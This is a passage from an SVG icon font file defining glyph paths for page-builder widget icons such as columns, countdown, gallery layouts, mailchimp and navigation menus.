horiz-adv-x="1000" />

<glyph glyph-name="columns" unicode="&#xe823;" d="M438 683h-417c-12 0-21-9-21-20s9-21 21-21h417c11 0 20 9 20 21s-9 20-20 20z m0-125h-417c-12 0-21-9-21-20s9-21 21-21h417c11 0 20 9 20 21s-9 20-20 20z m0-125h-417c-12 0-21-9-21-20s9-21 21-21h417c11 0 20 9 20 21s-9 20-20 20z m0-125h-417c-12 0-21-9-21-20s9-21 21-21h417c11 0 20 9 20 21s-9 20-20 20z m0-125h-417c-12 0-21-9-21-20s9-21 21-21h417c11 0 20 9 20 21s-9 20-20 20z m-125-125h-292c-12 0-21-9-21-20s9-21 21-21h292c11 0 20 9 20 21s-9 20-20 20z m250 584h416c12 0 21 9 21 21s-9 20-21 20h-416c-12 0-21-9-21-20s9-21 21-21z m416-84h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z m0-125h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z m0-125h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z m0-125h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z m-125-125h-291c-12 0-21-9-21-20s9-21 21-21h291c12 0 21 9 21 21s-9 20-21 20z" horiz-adv-x="1000" />

<glyph glyph-name="countdown" unicode="&#xe824;" d="M779 624l50 68c7 9 5 22-4 29-9 7-22 5-29-4l-50-68c-54 37-116 61-183 71v88h20c12 0 21 10 21 21s-9 21-21 21h-41-84-41c-12 0-21-9-21-21s9-21 21-21h21v-88c-67-10-130-34-183-70l-51 67c-7 9-20 11-29 4s-11-20-4-29l50-68c-97-80-158-201-158-336 0-242 196-438 437-438s438 196 438 438c0 135-62 256-159 336z m-300 184h42v-84c-7 0-14 1-21 1s-14-1-21-1v84z m21-916c-218 0-396 177-396 396s178 395 396 395 396-177 396-395-178-396-396-396z m0 750c-11 0-21-10-21-21v-333c0-12 10-21 21-21h333c12 0 21 9 21 21 0 195-159 354-354 354z m21-334v291c156-10 281-135 291-291h-291z" horiz-adv-x="1000" />

<glyph glyph-name="counter" unicode="&#xe825;" d="M994 584l-125 125 0 0c-2 1-4 3-7 4-1 1-3 1-4 1-2 0-3 1-4 1-1 0-3-1-4-1-1-1-3-1-4-1-2-1-5-3-7-5l-124-124c-9-9-9-22 0-30s21-8 29 0l89 89v-637c0-11 10-21 21-21s21 10 21 21v637l89-89c5-4 10-6 15-6s11 2 15 6c8 8 8 21 0 30z m-884-79c-8 3-18 0-23-8l-83-125c-7-10-4-22 5-29 10-6 23-4 29 6l45 68v-265c0-11 10-21 21-21s21 10 21 21v333c0 10-6 18-15 20z m203 1c-58 0-105-46-105-104 0-11 10-21 21-21s21 10 21 21c0 35 28 63 63 63s62-28 62-63v-12c0-14-5-28-14-39l-148-186c-5-6-6-15-3-22 4-7 11-12 19-12h167c11 0 21 10 21 21s-10 21-21 21h-123l121 152c15 18 23 41 23 65v12c0 58-47 104-104 104z m395-104c0 58-46 104-104 104s-104-46-104-104c0-11 9-21 21-21s21 10 21 21c0 35 28 63 62 63s63-28 63-63-28-62-63-62c-11 0-21-10-21-21s10-21 21-21c35 0 63-28 63-63s-28-62-63-62-62 28-62 62c0 12-10 21-21 21s-21-9-21-21c0-57 47-104 104-104s104 47 104 104c0 35-16 65-41 84 25 19 41 49 41 83z" horiz-adv-x="1000" />

<glyph glyph-name="date" unicode="&#xe826;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-555 436c-11 4-23-1-27-12l-125-333c-4-11 2-23 13-27 2-1 4-1 7-1 8 0 16 5 19 13l125 333c4 11-1 23-12 27z m334 0c-11 4-23-1-27-12l-125-333c-4-11 1-23 12-27 2-1 5-1 7-1 9 0 17 5 20 13l125 333c4 11-2 23-12 27z m-549-332h-84c-11 0-21-9-21-21 0-11 10-20 21-20h84c11 0 20 9 20 20s-9 21-20 21z m333 0h-167c-11 0-21-9-21-21 0-11 10-20 21-20h167c11 0 21 9 21 20s-10 21-21 21z m375 0h-208c-12 0-21-9-21-21 0-11 9-20 21-20h208c11 0 21 9 21 20s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="divider-shape" unicode="&#xe827;" d="M991 409c-9 6-22 4-29-5-15-21-62-75-103-75-40 0-88 54-103 75-8 11-26 11-34 0-15-21-62-75-103-75s-87 54-102 75c-4 5-11 9-17 9-7 0-13-4-17-9-15-21-63-75-103-75-40 0-88 54-103 75-4 5-10 9-17 9-6 0-13-4-17-9-15-21-62-75-102-75-41 0-88 54-103 75-7 9-20 11-29 5-10-7-12-20-5-29 7-10 68-92 137-92 49 0 95 43 119 70 24-27 70-70 120-70 50 0 96 43 120 71 24-28 70-71 119-71 50 0 96 43 120 71 24-28 70-71 120-71 69 0 130 82 137 92 7 9 5 22-5 29z" horiz-adv-x="1000" />

<glyph glyph-name="divider" unicode="&#xe828;" d="M42 454h916c12 0 21 10 21 21s-9 21-21 21h-916c-12 0-21-9-21-21s9-21 21-21z m333 167h250c8 0 15 5 19 12s2 15-2 21l-125 167c-8 11-26 11-34 0l-125-167c-4-6-5-14-2-21 4-7 11-12 19-12z m125 153l83-111h-166l83 111z m125-695h-250c-8 0-15-4-19-11-3-7-2-16 2-22l125-167c4-5 11-8 17-8s13 3 17 8l125 167c4 6 5 15 2 22-4 7-11 11-19 11z m-125-152l-83 111h166l-83-111z m458 319h-916c-12 0-21-9-21-21s9-21 21-21h916c12 0 21 10 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="download-button" unicode="&#xe829;" d="M875 704h-750c-57 0-104-47-104-104v-250c0-57 47-104 104-104h292c11 0 21 9 21 21s-10 21-21 21h-292c-34 0-62 28-62 62v250c0 35 28 63 62 63h750c35 0 63-28 63-63v-250c0-34-28-62-63-62h-292c-11 0-20-10-20-21s9-21 20-21h292c57 0 104 47 104 104v250c0 57-47 104-104 104z m-265-548l-89-89v366c0 12-9 21-21 21s-21-9-21-21v-366l-89 89c-8 9-22 9-30 0s-8-21 0-29l125-125c4-4 10-6 15-6s11 2 15 6l125 125c8 8 8 21 0 29-8 9-22 9-30 0z" horiz-adv-x="1000" />

<glyph glyph-name="dual-button" unicode="&#xe82a;" d="M326 470c-6 5-15 7-22 3-8-3-12-11-12-19v-375c0-8 5-16 13-19 7-3 16-1 22 4l63 63 71-141c2-5 7-9 12-10 2-1 4-1 6-1 4 0 8 1 11 3l93 54c5 3 9 8 10 13 1 6 0 11-3 16l-74 122h88c9 0 17 6 20 14 3 8 0 17-6 23l-292 250z m153-245c-7 0-14-4-18-11-4-6-4-14 0-21l83-135-56-33-73 147c-3 6-9 10-16 11-1 0-2 0-3 0-6 0-11-2-15-6l-48-47v279l215-184c0 0-69 0-69 0z m417 500h-792c-57 0-104-47-104-104v-250c0-58 47-104 104-104h125c12 0 21 9 21 21s-9 20-21 20h-125c-34 0-62 28-62 63v250c0 34 28 62 62 62h396v-104c0 0 0 0 0 0v-125c0 0 0 0 0 0v-62c0-12 9-21 21-21s21 9 21 21v54l238 237h66l-298-297c-8-9-8-22 0-30 4-4 9-6 15-6s10 2 14 6l327 327c17-3 32-12 42-25-1-1-2-1-2-2l-334-333c-7-7-7-17-3-25-1-3-3-7-3-10 0-12 10-21 21-21h271c57 0 104 47 104 104v250c0 57-47 104-104 104z m-300-42l-54-53v53h54z m-54-178v66l113 112h66l-179-178z m304-197h-66l178 179v-66l-112-113z m112 304v-66l-237-238h-66l303 304z m-53-303l52 52c-4-26-25-47-52-52z" horiz-adv-x="1000" />

<glyph glyph-name="email-field" unicode="&#xe82b;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-645 479c-127 0-230-103-230-229s103-229 230-229c59 0 116 23 159 64 8 8 8 22 0 30s-21 8-29 0c-35-34-81-52-130-52-104 0-188 84-188 187s84 188 188 188c102 0 185-83 187-185 0-1-1-2-1-3 0-23-19-42-42-42-21 0-39 17-41 39 0 1 1 2 1 3 0 57-47 104-104 104s-105-47-105-104 47-104 105-104c35 0 67 18 85 45 16-15 36-24 59-24 43 0 79 33 83 75 1 2 2 5 2 8 0 126-103 229-229 229z m0-291c-35 0-63 28-63 62s28 63 63 63c33 0 60-27 62-60 0-1-1-2-1-3 0-2 0-3 1-5-3-32-30-57-62-57z" horiz-adv-x="1000" />

<glyph glyph-name="facebook-comments" unicode="&#xe82c;" d="M896 725h-792c-57 0-104-47-104-104v-417c0-57 47-104 104-104h262l119-119c4-4 10-6 15-6s11 2 15 6l119 119h262c57 0 104 47 104 104v417c0 57-47 104-104 104z m62-521c0-34-28-62-62-62h-271c-5 0-11-2-15-6l-110-111-110 111c-4 4-9 6-15 6h-271c-34 0-62 28-62 62v417c0 34 28 62 62 62h792c34 0 62-28 62-62v-417z m-645 396h-42c-58 0-104-47-104-104v-21h-21c-12 0-21-9-21-21s9-21 21-21h21v-187c0-12 9-21 21-21s20 9 20 21v187h63c11 0 21 10 21 21s-10 21-21 21h-63v21c0 34 28 62 63 62h42c11 0 20 10 20 21s-9 21-20 21z m416-292h-291c-12 0-21-9-21-20s9-21 21-21h291c12 0 21 9 21 21s-9 20-21 20z m125 125h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z m0 125h-416c-12 0-21-9-21-20s9-21 21-21h416c12 0 21 9 21 21s-9 20-21 20z" horiz-adv-x="1000" />

<glyph glyph-name="facebook-like-box" unicode="&#xe82d;" d="M896 850h-792c-57 0-104-47-104-104v-792c0-57 47-104 104-104h792c57 0 104 47 104 104v792c0 57-47 104-104 104z m62-896c0-34-28-62-62-62h-792c-34 0-62 28-62 62v792c0 34 28 62 62 62h792c34 0 62-28 62-62v-792z m-197 479h-156l1 20c13 27 19 56 19 85 0 30-7 61-21 88l-11 23c-11 21-32 34-56 34h-16c-34 0-63-28-63-62v-75c0-3 0-6-1-8l-75-188h-7v21c0 11-9 21-21 21h-208c-12 0-21-10-21-21v-375c0-12 9-21 21-21h208c12 0 21 9 21 21v50l53-27c3-2 6-2 10-2h300c53 0 98 40 104 92l23 209c3 29-6 59-26 81-20 22-48 34-78 34z m-428-416h-166v333h166v-333z m490 305l-23-208c-3-32-30-56-62-56h-296l-67 34v216h21c8 0 16 6 19 14l81 200c3 8 4 16 4 24v75c0 11 9 21 21 21h16c8 0 15-5 18-12l12-23c11-21 16-45 16-69s-5-48-16-70c-1-3-2-5-2-8l-2-46c-1-6 1-12 5-16s10-6 15-6h178c18 0 35-8 47-21 12-13 17-31 15-49z" horiz-adv-x="1000" />

<glyph glyph-name="form-horizontal" unicode="&#xe82e;" d="M21 808h958c12 0 21 10 21 21s-9 21-21 21h-958c-12 0-21-9-21-21s9-21 21-21z m958-83h-958c-12 0-21-9-21-21s9-21 21-21h958c12 0 21 10 21 21s-9 21-21 21z m0-125h-958c-12 0-21-9-21-21v-500c0-11 9-21 21-21h958c12 0 21 10 21 21v500c0 12-9 21-21 21z m-937-42h916v-345l-112-113h-804v458z m863-458l53 54v-54h-53z m-613-83h-209c-46 0-83-38-83-84s37-83 83-83h209c46 0 83 37 83 83s-37 84-83 84z m0-125h-209c-23 0-41 18-41 41s18 42 41 42h209c23 0 41-19 41-42s-18-41-41-41z" horiz-adv-x="1000" />

<glyph glyph-name="form-vertical" unicode="&#xe82f;" d="M271 433h-250c-12 0-21-9-21-20v-125c0-12 9-21 21-21h250c11 0 21 9 21 21v125c0 11-10 20-21 20z m-21-125h-208v84h208v-84z m354 125h-250c-11 0-21-9-21-20v-125c0-12 10-21 21-21h250c12 0 21 9 21 21v125c0 11-9 20-21 20z m-21-125h-208v84h208v-84z m334 125h-167c-46 0-83-37-83-83s37-83 83-83h167c46 0 83 37 83 83s-37 83-83 83z m0-125h-167c-23 0-42 19-42 42s19 42 42 42h167c23 0 41-19 41-42s-18-42-41-42z" horiz-adv-x="1000" />

<glyph glyph-name="gallery-grid" unicode="&#xe830;" d="M292 663h-250c-12 0-21-10-21-21v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 21-21 21z m-21-250h-208v208h208v-208z m354 250h-250c-11 0-21-10-21-21v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 11-9 21-21 21z m-21-250h-208v208h208v-208z m354 250h-250c-11 0-20-10-20-21v-250c0-12 9-21 20-21h250c12 0 21 9 21 21v250c0 11-9 21-21 21z m-20-250h-209v208h209v-208z m-646-84h-250c-12 0-21-9-21-21v-250c0-11 9-20 21-20h250c11 0 21 9 21 20v250c0 12-10 21-21 21z m-21-250h-208v209h208v-209z m354 250h-250c-11 0-21-9-21-21v-250c0-11 10-20 21-20h250c12 0 21 9 21 20v250c0 12-9 21-21 21z m-21-250h-208v209h208v-209z m354 250h-250c-11 0-20-9-20-21v-250c0-11 9-20 20-20h250c12 0 21 9 21 20v250c0 12-9 21-21 21z m-20-250h-209v209h209v-209z" horiz-adv-x="1000" />

<glyph glyph-name="gallery-group" unicode="&#xe831;" d="M979 621h-208c-12 0-21-9-21-21v-208c0-12 9-21 21-21h208c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-166v166h166v-166z m21-84h-208c-12 0-21-9-21-21v-208c0-11 9-21 21-21h208c12 0 21 10 21 21v208c0 12-9 21-21 21z m-21-208h-166v167h166v-167z m-270 500h-667c-12 0-21-9-21-21v-500c0-11 9-21 21-21h667c11 0 20 10 20 21v500c0 12-9 21-20 21z m-21-500h-625v458h625v-458z" horiz-adv-x="1000" />

<glyph glyph-name="gallery-justified" unicode="&#xe832;" d="M21 517h208c12 0 21 9 21 21v208c0 11-9 21-21 21h-208c-12 0-21-10-21-21v-208c0-12 9-21 21-21z m21 208h166v-167h-166v167z m271-208h375c11 0 20 9 20 21v208c0 11-9 21-20 21h-375c-12 0-21-10-21-21v-208c0-12 9-21 21-21z m20 208h334v-167h-334v167z m646 42h-208c-12 0-21-10-21-21v-208c0-12 9-21 21-21h208c12 0 21 9 21 21v208c0 11-9 21-21 21z m-21-209h-166v167h166v-167z m-270-83h-209c-11 0-21-9-21-21v-208c0-12 10-21 21-21h209c11 0 20 9 20 21v208c0 12-9 21-20 21z m-21-208h-167v166h167v-166z m-646-42h375c11 0 21 9 21 21v208c0 12-10 21-21 21h-375c-12 0-21-9-21-21v-208c0-12 9-21 21-21z m21 208h333v-166h-333v166z m937 42h-208c-12 0-21-9-21-21v-208c0-12 9-21 21-21h208c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-166v166h166v-166z m-770-84h-167c-12 0-21-9-21-20v-209c0-11 9-21 21-21h167c11 0 20 10 20 21v209c0 11-9 20-20 20z m-21-208h-125v167h125v-167z m437 208h-333c-12 0-21-9-21-20v-209c0-11 9-21 21-21h333c12 0 21 10 21 21v209c0 11-9 20-21 20z m-21-208h-291v167h291v-167z m396 208h-291c-12 0-21-9-21-20v-209c0-11 9-21 21-21h291c12 0 21 10 21 21v209c0 11-9 20-21 20z m-21-208h-250v167h250v-167z" horiz-adv-x="1000" />

<glyph glyph-name="gallery-masonry" unicode="&#xe833;" d="M292 746h-250c-12 0-21-9-21-21v-250c0-11 9-21 21-21h250c11 0 21 10 21 21v250c0 12-10 21-21 21z m-21-250h-208v208h208v-208z m354 250h-250c-11 0-21-9-21-21v-417c0-11 10-20 21-20h250c12 0 21 9 21 20v417c0 12-9 21-21 21z m-21-417h-208v375h208v-375z m354 417h-250c-11 0-20-9-20-21v-333c0-12 9-21 20-21h250c12 0 21 9 21 21v333c0 12-9 21-21 21z m-20-333h-209v291h209v-291z m-646 0h-250c-12 0-21-10-21-21v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 21-21 21z m-21-250h-208v208h208v-208z m354 83h-250c-11 0-21-9-21-21v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 12-9 21-21 21z m-21-250h-208v208h208v-208z m354 333h-250c-11 0-20-9-20-21v-250c0-11 9-20 20-20h250c12 0 21 9 21 20v250c0 12-9 21-21 21z m-20-250h-209v209h209v-209z" horiz-adv-x="1000" />

<glyph glyph-name="icon-box" unicode="&#xe834;" d="M854-108c13 0 21-9 21-21 0-9-8-17-17-21l-4 0h-708c-13 0-21 8-21 21 0 8 8 16 17 21l4 0h708z m0 104c13 0 21-9 21-21s-8-21-21-21h-708c-13 0-21 8-21 21s8 21 21 21h708z m-166 146c12 0 20-9 20-21s-8-21-20-21h-375c-13 0-21 8-21 21s8 21 21 21h375z m-188 708c171 0 313-142 313-312 0-171-142-313-313-313-171 0-312 142-312 313 0 170 141 312 312 312z m0-42c-150 0-271-120-271-270 0-150 121-271 271-271 150 0 271 121 271 271 0 150-121 270-271 270z m0-83c8 0 17-4 17-12l46-88 100-12c8 0 12-9 16-13 4-8 0-17-4-21l-71-71 17-100c0-8 0-16-8-20-9-5-17-5-21 0l-92 41-87-46c-9-4-17-4-21 0-9 5-9 13-9 21l17 100-75 71c-4 4-4 13-4 21 4 8 8 12 17 12l100 13 45 87c0 13 9 17 17 17z m0-67l-29-62c-4-4-8-8-17-13l-66-8 50-46c4-4 8-12 4-16l-13-67 63 33c4 4 12 4 21 0l62-33-12 67c0 8 0 12 4 16l50 46-67 8c-8 0-12 5-17 13l-33 62z" horiz-adv-x="1000" />

<glyph glyph-name="image-before-after" unicode="&#xe835;" d="M229 392c58 0 104 46 104 104s-46 104-104 104-104-47-104-104 47-104 104-104z m0 166c35 0 63-28 63-62s-28-63-63-63-62 28-62 63 28 62 62 62z m750 167h-479v83h21c11 0 21 10 21 21s-10 21-21 21h-83c-12 0-21-9-21-21s9-21 21-21h20v-83h-437c-12 0-21-9-21-21v-708c0-12 9-21 21-21h437v-83h-20c-12 0-21-10-21-21s9-21 21-21h83c11 0 21 9 21 21s-10 21-21 21h-21v83h479c12 0 21 9 21 21v708c0 12-9 21-21 21z m-521-42v-285l-127-201-128 146c-4 5-11 7-18 7-6-1-12-5-16-10l-127-224v567h416z m-416-666v15l149 262 127-145c4-5 11-8 17-7 7 0 12 4 16 9l107 169v-303h-416z m916 0h-458v666h458v-666z" horiz-adv-x="1000" />

<glyph glyph-name="image-box" unicode="&#xe836;" d="M875 829c0 12-9 21-21 21h-708c-12 0-21-9-21-21v-458c0-3 1-5 2-8 0-1 0-1 0-1 1-2 2-4 4-6 4-4 10-6 15-6l0 0h708c5 0 9 2 12 4 0 0 1 0 1 1 0 0 1 0 1 0 1 1 2 3 3 4 1 1 1 2 2 3 0 1 1 2 1 4 0 1 1 2 1 4 0 0 0 0 0 1v458z m-42-21v-377l-192 244c-3 5-9 8-15 8-7 1-12-2-16-7l-155-172-110 70c-9 5-19 4-26-3l-152-150v387h666z m-22-416h-614l139 138 111-71c9-5 20-4 27 4l150 167 187-238z m-40-125h-542c-11 0-21-10-21-21s10-21 21-21h542c11 0 21 9 21 21s-10 21-21 21z m0-125h-542c-11 0-21-10-21-21s10-21 21-21h542c11 0 21 9 21 21s-10 21-21 21z m0-125h-542c-11 0-21-10-21-21s10-21 21-21h542c11 0 21 9 21 21s-10 21-21 21z m0-125h-542c-11 0-21-10-21-21s10-21 21-21h542c11 0 21 9 21 21s-10 21-21 21z m-438 708c46 0 84 37 84 83s-38 84-84 84-83-38-83-84 37-83 83-83z m0 125c23 0 42-19 42-42s-19-41-42-41-41 18-41 41 18 42 41 42z" horiz-adv-x="1000" />

<glyph glyph-name="image-hotspot" unicode="&#xe837;" d="M229 308c58 0 104 47 104 105s-46 104-104 104-104-47-104-104 47-105 104-105z m0 167c35 0 63-28 63-62s-28-63-63-63-62 28-62 63 28 62 62 62z m750 167h-147c1 7 1 14 1 21 0 80-65 145-145 145s-146-65-146-145c0-7 0-14 1-21h-522c-12 0-21-10-21-21v-709c0-11 9-20 21-20h958c12 0 21 9 21 20v709c0 11-9 21-21 21z m-291 125c57 0 104-47 104-104 0-75-71-199-104-253-34 54-105 178-105 253 0 57 47 104 105 104z m-136-167c29-106 114-234 118-241 4-5 11-9 18-9s13 4 17 9c4 7 89 135 118 241h135v-547l-171 206c-8 10-24 10-32 0l-85-102-131 224c-4 7-10 11-18 11-6-1-14-4-18-10l-172-268-128 146c-4 5-11 7-18 7-6-1-12-5-16-11l-127-223v567h510z m-510-667v16l149 261 127-145c4-4 10-7 17-7 6 1 12 4 16 10l169 263 129-221c3-6 9-9 16-10 7 0 13 2 18 8l88 105 187-225v-55h-916z m708 730c0 34-28 62-62 62s-63-28-63-62 28-63 63-63 62 28 62 63z m-83 0c0 11 9 20 21 20s20-9 20-20-9-21-20-21-21 9-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="image-rollover" unicode="&#xe838;" d="M125 621c0-58 47-104 104-104s104 46 104 104-46 104-104 104-104-47-104-104z m167 0c0-35-28-63-63-63s-62 28-62 63 28 62 62 62 63-28 63-62z m687 229h-958c-12 0-21-9-21-21v-708c0-12 9-21 21-21h458c12 0 21 9 21 21s-9 21-21 21h-437v15l149 262 127-145c4-5 11-8 17-7 7 0 13 4 16 10l104 166c6 10 3 23-6 29-10 6-23 3-29-7l-89-143-128 146c-4 5-11 8-18 7-6-1-12-5-16-10l-127-224v567h916v-562c0-12 10-21 21-21s21 9 21 21v583c0 12-9 21-21 21z m-402-298c-6 6-15 8-22 5-8-3-13-11-13-19v-578c0-7 4-15 11-18 8-4 16-3 22 2l106 83 92-166c4-7 11-11 19-11 3 0 6 1 9 2l125 63c5 2 9 7 11 12 1 6 1 11-2 16l-87 157h131c9 0 16 5 19 13 4 8 2 17-4 23l-417 416z m236-410c-8 0-15-4-18-11-4-6-4-14-1-20l94-169-88-44-94 170c-3 6-8 10-14 11-2 0-3 0-4 0-5 0-10-1-13-4l-92-72v484l346-345h-116z" horiz-adv-x="1000" />

<glyph glyph-name="info-box" unicode="&#xe839;" d="M854 850h-708c-12 0-21-9-21-21v-458c0 0 0 0 0 0v-500c0-12 9-21 21-21h708c12 0 21 9 21 21v958c0 12-9 21-21 21z m-21-42v-377l-192 244c-3 5-9 8-15 8-6 1-12-2-16-7l-155-172-110 70c-9 5-19 4-26-3l-152-150v387h666z m-22-416h-614l139 138 111-71c9-5 20-4 27 4l150 167 187-238z m-644-500v458h666v-458h-666z m562 375h-458c-12 0-21-10-21-21s9-21 21-21h458c12 0 21 9 21 21s-9 21-21 21z m-83-167h-292c-11 0-21-9-21-21v-83c0-12 10-21 21-21h292c11 0 21 9 21 21v83c0 12-10 21-21 21z m-21-83h-250v41h250v-41z m-292 583c46 0 84 37 84 83s-38 84-84 84-83-38-83-84 37-83 83-83z m0 125c23 0 42-19 42-42s-19-41-42-41-41 18-41 41 18 42 41 42z" horiz-adv-x="1000" />

<glyph glyph-name="inner-section" unicode="&#xe83a;" d="M979 850h-958c-12 0-21-9-21-21v-958c0-12 9-21 21-21h958c12 0 21 9 21 21v958c0 12-9 21-21 21z m-521-500h500v-208h-500v208z m500 42h-250v416h250v-416z m-291 416v-416h-625v416h625z m-625-458h375v-458h-375v458z m416-458v208h500v-208h-500z" horiz-adv-x="1000" />

<glyph glyph-name="mailchimp" unicode="&#xe83b;" d="M917 175v21c8 10 21 28 21 50 0 31-63 96-105 118v90c0 35-18 80-42 115 22 19 84 80 84 135 0 87-64 104-167 104-25 0-57-7-94-20-16 20-54 62-93 62-46 0-198-44-307-152-105-105-172-239-172-285 0-35 35-70 56-89-9-17-15-36-15-57 0-71 60-129 131-125 57-175 200-292 359-292 96 0 188 44 258 118 1 2 3 3 4 5 25 27 47 59 66 94 21 7 57 23 57 54 0 26-25 45-41 54z m-21 71c0-9-7-18-12-23-24-8-135-40-196-40-12 0-23 1-33 1-46 1-80 1-99-18-10-9-14-21-14-39-1-15-1-38 19-58 22-23 63-33 128-33 69 0 120 7 154 14-12-17-25-33-38-48-16-7-74-27-159-27-92 0-167 91-167 167 0 64 81 101 90 105 28 2 66 18 109 38 46 20 97 43 132 44 27-10 82-68 86-83z m-104 208v-86c-8-1-15-2-22-4 0 2 1 5 1 7v21c0 11-9 21-21 21s-21-10-21-21v-21c0-7 4-13 9-16-25-9-51-21-77-32-9-4-18-9-27-12 7 3 12 10 12 18v21c0 12-9 21-21 21s-21-9-21-21v-21c0-11 10-21 21-21 3 0 5 1 7 2-27-12-51-21-67-22-17 7-86 36-86 83 0 31 8 83 63 83 23 0 46-5 68-11 19-5 38-10 57-10 27 0 52 18 69 31 6 5 14 10 14 11l6 0c9 0 25 1 31-5 3-3 5-8 5-16z m41 250c0-31-40-77-69-103-9 8-18 15-27 18-43 19-270 94-484-236-10 4-21 6-32 8 119 230 382 376 487 376 125 0 125-31 125-63z m-750-291c0 27 57 151 161 256 97 96 239 139 277 139 14 0 36-18 52-36-137-62-313-197-401-386-19-6-35-15-49-28-19 17-40 41-40 55z m172-262c5 2 11 5 16 8 10 6 13 19 8 28-6 10-19 14-29 8-13-8-27-12-42-12-46 0-83 38-83 84s37 83 83 83c15 0 29-4 42-12 10-5 22-2 28 7 200 320 404 253 443 236 16-7 37-34 52-65-7 1-13 1-18 1l-5 0c-13 0-24-9-39-19-13-10-30-23-44-23-14 0-30 4-47 9-23 5-49 12-78 12-51 0-104-33-104-125 0-52 44-87 78-106-34-22-78-63-78-123 0-97 91-209 208-209 33 0 61 3 86 7-49-31-103-48-159-48-140 0-266 103-318 259z m626-46c0 0-1-1-1-1-1 0-1 0-2 0-1-1-62-27-189-27-65 0-89 12-99 21-6 7-7 15-7 28 0 0 0 4 0 4 0 3 1 5 2 6 7 7 40 7 69 6 11 0 22 0 34 0 55 0 143 22 187 34v-13c0-9 5-16 13-20 15-6 28-18 29-20-3-5-20-14-36-18z" horiz-adv-x="1000" />

<glyph glyph-name="menu-card" unicode="&#xe83c;" d="M750 725h-62v104c0 7-4 13-9 17-5 4-12 5-18 3l-417-125c0 0-1 0-1 0-1-1-3-2-4-2-1-1-2-2-3-2-1-1-2-3-2-4-1-1-2-2-3-3 0-1 0-2-1-4 0-1 0-2-1-4 0 0 0 0 0-1v-833c0-12 10-21 21-21h500c12 0 21 9 21 21v833c0 12-9 21-21 21z m-104 0h-254l254 76v-76z m83-833h-458v791h458v-791z m-229 416c-11 0-21-9-21-20v-42c0-36-10-51-21-57v99c0 11-9 20-20 20s-21-9-21-20v-99c-11 6-21 21-21 57v42c0 11-9 20-21 20s-21-9-21-20v-42c0-56 23-92 63-102v-148c0-12 9-21 21-21s20 9 20 21v148c40 10 63 46 63 102v42c0 11-9 20-21 20z m125 0c-26 0-50-23-69-70-13-32-22-72-22-98 0-37 22-40 29-40h41v-104c0-12 10-21 21-21s21 9 21 21v292c0 11-9 20-21 20z m-21-166h-28c0 21 11 68 28 100v-100z m21 333h-250c-11 0-21-9-21-21s10-21 21-21h250c12 0 21 10 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="navigation-horizontal" unicode="&#xe83d;" d="M125 454c-57 0-104-47-104-104s47-104 104-104 104 47 104 104-46 104-104 104z m0-166c-34 0-62 28-62 62s28 63 62 63 63-28 63-63-28-62-63-62z m375 166c-57 0-104-47-104-104s47-104 104-104 104 47 104 104-46 104-104 104z m0-166c-34 0-62 28-62 62s28 63 62 63 63-28 63-63-28-62-63-62z m375 166c-57 0-104-47-104-104s47-104 104-104 104 47 104 104-46 104-104 104z m0-166c-34 0-62 28-62 62s28 63 62 63 63-28 63-63-28-62-63-62z" horiz-adv-x="1000" />

<glyph glyph-name="nav-menu" unicode="&#xe83e;" d="M958 683h-291-334-291c-12 0-21-9-21-20v-125c0-12 9-21 21-21h271v-479c0-12 9-21 20-21h417c12 0 21 9 21 21v479h187c12 0 21 9 21 21v125c0 11-9 20-21 20z m-312-125h-292v84h292v-84z m-583 84h250v-84h-250v84z m666-584h-375v459h313 62v-459z m209 500h-188-62v84h250v-84z m-521-125c-12 0-21-9-21-20s9-21 21-21h250c11 0 21 9 21 21s-10 20-21 20h-250z m250-125h-250c-12 0-21-9-21-20s9-21 21-21h250c11 0 21 9 21 21s-10 20-21 20z m0-125h-250c-12 0-21-9-21-20s9-21 21-21h250c11 0 21 9 21 21s-10 20-21 20z" horiz-adv-x="1000" />

<glyph glyph-name="navigation-vertical" unicode="&#xe83f;" d="M500 621c58 0 104 47 104 104s-46 104-104 104-104-47-104-104 47-104 104-104z m0 167c35 0 63-28 63-63s-28-62-63-62-62 28-62 62 28 63 62 63z m0-334c-57 0-104-47-104-104s47-104 104-104 104 47 104 104-46 104-104 104z m0-166c-34 0-62 28-62 62s28 63 62 63 63-28 63-63-28-62-63-62z m0-209c-57 0-104-47-104-104s47-104 104-104 104 47 104 104-46 104-104 104z m0-167c-34 0-62 28-62 63s28 63 62 63 63-28 63-63-28-63-63-63z" horiz-adv-x="1000" />

